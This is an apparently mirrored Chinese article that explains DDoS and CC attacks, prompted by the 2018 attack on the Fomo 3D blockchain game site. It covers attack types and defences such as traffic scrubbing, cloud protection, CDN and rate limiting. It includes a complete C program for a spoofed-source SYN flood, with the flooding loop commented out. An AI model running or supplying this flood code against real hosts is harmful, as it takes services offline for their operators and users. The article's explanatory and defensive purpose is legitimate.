36

独家 | 区块链安全大牛深度解剖DDoS攻击

 5 years ago
source link: https://blog.csdn.net/blockchain_lemon/article/details/81351342?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

2m2qUz2.jpg!web

自7月8日,一款运行在以太坊上的带有明显博弈性质的区块链游戏火了,这是继EOS-RAM之后,又一个用惊人收益刷新着我们认知的“新物种”,它就是Fomo 3D。

然而就在昨天,网传“Fomo 3D遭受黑客攻击”,慢雾安全团队判断为Fomo 3D网站遭受了DDoS攻击。

此前据CSDN报道,《2016年DDoS攻击报告》披露行业热、高利润、恶意竞争……多种因素使得游戏行业成为DDoS攻击重灾区。这不仅会影响用户游戏体验,也会对游戏公司造成重大经济损失,不排除是行业内恶性竞争的结果。

对于区块链游戏也是一样。据DappRadar上以太坊Dapp数据显示,遭受攻击后,Fomo 3D在24小时内访问量减少21.95%,24小时流量减少38.32%,虽然明面上 以太坊上智能合约所受影响不大,但 Fomo 3D间接损失可不小。

那么,什么是DDoS攻击?什么是CC攻击?如何去应对这些攻击?又有哪些防御方法呢?接下来,一文带你深度解剖DDoS攻击。

作者 | 周启鹏  知道创宇区块链行业解决方案部总监 

责编 | kou

据国内多家区块链媒体报道:2018年7月31日晚,多个韩国社区爆出“Fomo 3D被黑客攻击之后停止运营了”传言,据DappRadar上以太坊Dapp数据显示,其中Fomo 3D在24小时内访问量减少21.95%,24小时流量减少38.32%。

慢雾安全团队判断为Fomo 3D网站遭受了DDoS攻击,但以太坊上智能合约不受影响,因为以太坊网络Gas值尚在正常范围内。

当前,Fomo 3D网站使用的安全管理网站Cloudflare已开启高防验证,用户需等待5秒才能访问网站。据悉,5秒等待时间几乎是Cloudflare的最高级DDoS防御策略。

RNfMbym.png!web

实际上这已经是2018年近第23次针对区块链行业的DDoS攻击,目前区块链行业中加密数字货币和区块链游戏产生的经济价值日益巨大,成为了一个黑客攻击的主要目标。

从互联网时代起,关于DDoS攻击的新闻一直不绝于耳,那到底什么是DDoS攻击呢?

什么是DDoS攻击

DDoS是英文Distributed Denial of Service的缩写,中文一般翻译为“分布式拒绝服务”。

DDoS(分布式拒绝服务)是从DoS(拒绝服务Denial of Service)发展而来的。DoS可以理解为,凡是能导致合法用户不能够访问正常网络服务的行为都算是拒绝服务攻击。也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。

zIJz2aJ.png!web 

DDoS攻击分布式拒绝服务攻击一旦被实施,攻击网络包就会从很多DoS攻击源(俗称“肉鸡”)犹如洪水般涌向受害主机,从而把合法用户的网络请求包淹没,导致合法用户无法正常访问服务器的网络资源。因此,分布式拒绝服务攻击又被称之为“洪水式攻击”。

UrURryB.png!web

常见的DDoS攻击方式有:SYN Flood、ACK Flood、ICMP Flood、UDP Flood、NTP Flood、SSDP Flood、DNS Flood、HTTP Flood、CC攻击等。

常见的DDoS攻击手段解析

SYN Flood

利用TCP协议的原理,这种攻击方法是经典最有效的DDOS方法,可通杀各种系统的网络服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK 包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务。

 RrIbmiz.jpg!web 

/*
    Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header

struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;

    struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;

    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }

    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;

    return(answer);
}

int main (void)
{
    //Create a raw socket
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    //Datagram to represent the packet
    char datagram[4096] , source_ip[32];
    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;
    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;

    strcpy(source_ip , "192.168.1.2");

    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

    memset (datagram, 0, 4096); /* zero out the buffer */

    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(54321);  //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;      //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;

    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;      /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                should fill in the correct checksum during transmission */
    tcph->urg_ptr = 0;
    //Now the IP checksum

    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);

    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

    //IP_HDRINCL to tell the kernel that headers are included in the packet
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
        exit(0);
    }

    //Uncommend the loop if you want to flood :)
    //while (1)
    //{
        //Send the packet
        if (sendto (s,      /* our socket */
                    datagram,   /* the buffer containing headers and data */
                    iph->tot_len,    /* total length of our datagram */
                    0,      /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,   /* socket addr, just like in */
                    sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("error\n");
        }
        //Data send successfully
        else
        {
            printf ("Packet Send \n");
        }
    //}

    return 0;
}

TCP通道在建立以前,需要三次握手:

(1) 客户端发送一个包含SYN标志的TCP报文,同步报文指明客户端所需要的端口号和TCP连接的初始序列号

(2) 服务器收到SYN报文之后,返回一个SYN+ ACK报文,表示客户端请求被接受,TCP初始序列号加1

(3) 客户端也返回一个确认报文ACK给服务器,同样TCP序列号加1

(4) 如果服务器端没有收到客户端的确认报文ACK,则处于等待状态,将该客户IP加入等待队列,然后轮训发送SYN+ACK报文

所以攻击者可以通过伪造大量的TCP握手请求,耗尽服务器端的资源。

HTTP Flood

mEvIjqI.png!web 

针对系统的每个Web页面,或者资源,或者Rest API,用大量肉鸡,发送大量http request。这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击方法。缺点是对付只有静态页面的网站效果会大打折扣。

下面我们通过生活化的事件来举例说明一下:

1. DDoS攻击成功 :某饭店可以容纳100人同时就餐,某日有个商家恶意竞争,雇佣了200人来这个饭店坐着不吃不喝,导致饭店满满当当无法正常营业。

2. 添加规则和黑名单进行DDoS防御,防御成功 :老板当即大怒,派人把不吃不喝影响正常营业的人全都轰了出去,且不再让他们进来捣乱,饭店恢复了正常营业。

3. 增加DDoS流量 ,改变攻击方式 :主动攻击的商家心存不满,这次请了五千人逐批次来捣乱,导致该饭店再次无法正常营业。

4. 增加硬防与其抗衡 :饭店把那些捣乱的人轰出去之后,另一批接踵而来。此时老板将饭店营业规模扩大,该饭店可同时容纳1万人就餐,5000人同时来捣乱饭店营业也不会受到影响。

什么是CC攻击

CC攻击(Challenge Collapsar)也属于DDoS攻击的一种,前身名为Fatboy攻击,也是一种常见的网站攻击方法。

CC攻击是目前应用层攻击的主要手段之一,借助代理服务器生成指向目标系统的合法请求,实现伪装和DDoS。我们都有这样的体验,访问一个静态页面,即使人多也不需要太长时间,但如果在高峰期访问论坛、贴吧等,那就很慢了,因为服务器系统需要到数据库中判断访问者否有读帖、发言等权限。访问的人越多,论坛的页面越多,数据库压力就越大,被访问的频率也越高,占用的系统资源也就相当可观。

CC攻击就充分利用了这个特点,模拟多个正常用户不停地访问如论坛这些需要大量数据操作的页面,造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的请求,网络拥塞,正常访问被中止。这种攻击技术性含量高,见不到真实源IP,见不到特别大的异常流量,但服务器就是无法进行正常连接。

DDoS攻击对区块链行业应用的危害

DDoS攻击的主要目的是让应用无法对用户提供正常服务,这其中可能是黑客通过DDoS攻击进行恶意勒索;可能是黑客为了掩饰其他恶意攻击的行为采用DDoS攻击进行“声东击西”;也可能是由于行业恶意竞争导致互相攻击

在区块链行业中,中心化数字货币交易所、中心化数字货币钱包、中心化游戏平台遭遇DDoS攻击产生的经济价值损失只是小部分,DDoS攻击所造成的最严重后果是损害客户信任和企业信誉

遭遇DDoS攻击应该如何应对

DDoS攻击防御方法

1. 过滤不必要的服务和端口 :可以使用Inexpress、Express、Forwarding等工具来过滤不必要的服务和端口,即在路由器上过滤假IP。只开放服务端口成为目前很多服务器的流行做法,例如WWW服务器那么只开放80而将其他所有端口关闭或在防火墙上做阻止策略。

2. 部署异常流量清洗过滤设备 :通过DDoS设备对异常流量的清洗过滤,通过数据包的规则过滤、数据流指纹检测过滤、及数据包内容定制过滤等顶尖技术能准确判断外来访问流量是否正常,进一步将异常流量禁止过滤。

3.云安全防御 这是目前网络安全界防御大规模DDoS攻击的最有效办法。云安全防御的特点是通过SaaS服务的模式,通过域名解析的方式将源站接入云安全防御节点,当发生DDoS攻击时,网络监控系统会侦测到网络流量的异常变化并发出报警。在系统自动检测或人工判断之后,可以识别出被攻击的虚拟机公网IP地址。这时,可调用系统的防DDoS攻击功能接口,启动对相关被攻击IP的流量清洗。流量清洗设备会立即接管对该IP地址的所有数据包,并将攻击数据包清洗掉,仅将正常的数据包转发给随后的网络设备。这样,就能保证整个网络正常的流量通行,而将DDoS流量拒之门外。

采用云DDoS攻击流量清洗方式,可以为企业用户带来诸多好处。其表现在不仅可以提升综合防护能力,用户能够按需付费,可弹性扩展,而且还能够基于大数据来分析预测攻击,同时能够免费升级。对于企业用户来说,则可实现零运维、零改造。

4. 高防智能DNS解析 :高智能DNS解析系统与DDoS防御系统的完美结合,为企业提供对抗新兴安全威胁的超级检测功能。它颠覆了传统一个域名对应一个镜像的做法,智能根据用户的上网路线将DNS解析请求解析到用户所属网络的服务器。同时智能DNS解析系统还有宕机检测功能,随时可将瘫痪的服务器IP智能更换成正常服务器IP,为企业的网络保持一个永不宕机的服务状态。

CC攻击防御方法

1. 利用Session做访问计数器 :利用Session针对每个IP做页面访问计数器或文件下载计数器,防止用户对某个页面频繁刷新导致数据库频繁读取或频繁下载某个文件而产生大额流量。

2. 把网站做成静态页面 :大量事实证明,把网站尽可能做成静态页面,不仅能大大提高抗攻击能力,而且还给骇客入侵带来不少麻烦。

3. 增强操作系统的TCP/IP栈 :Win2000和Win2003作为服务器操作系统,本身就具备一定的抵抗DDoS攻击的能力,只是默认状态下没有开启而已,若开启的话可抵挡约10000个SYN攻击包,若没有开启则仅能抵御数百个,开启方法可以百度。

4. 在存在多站的服务器上,严格限制每一个站允许的IP连接数和CPU使用时间 ,这是一个很有效的方法。

5. 服务器前端加CDN中转(如加速乐) ,如果资金充裕的话,可以购买云防护服务隐藏服务器真实IP,域名解析使用云防护节点IP,所有解析的子域名都使用云防护节点IP地址。此外,服务器上部署的其他域名也不能使用真实IP解析,全部都使用CDN来解析。

作者简介:

周启鹏,知道创宇区块链行业解决方案部总监。专注网络安全、互利网安全、云安全、移动安全、区块链安全领域十余年。致力于为用户提供最优的解决方案帮助用户解决严峻的安全问题。为政府事业单位、三十余家央企、互联网及移动互联网企业和区块链企业提供安全风险评估、安全体系建设咨询、安全建设方案设计等服务,目前在区块链行业中主攻公链安全、节点安全、智能合约安全、钱包安全等。

最新热文:

A7Jz22R.png!web

扫码加入区块链大本营读者群,群满加微信 qk15732632926 入群

了解更多区块链技术及应用内容

敬请关注:

MbEVFvr.gif


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK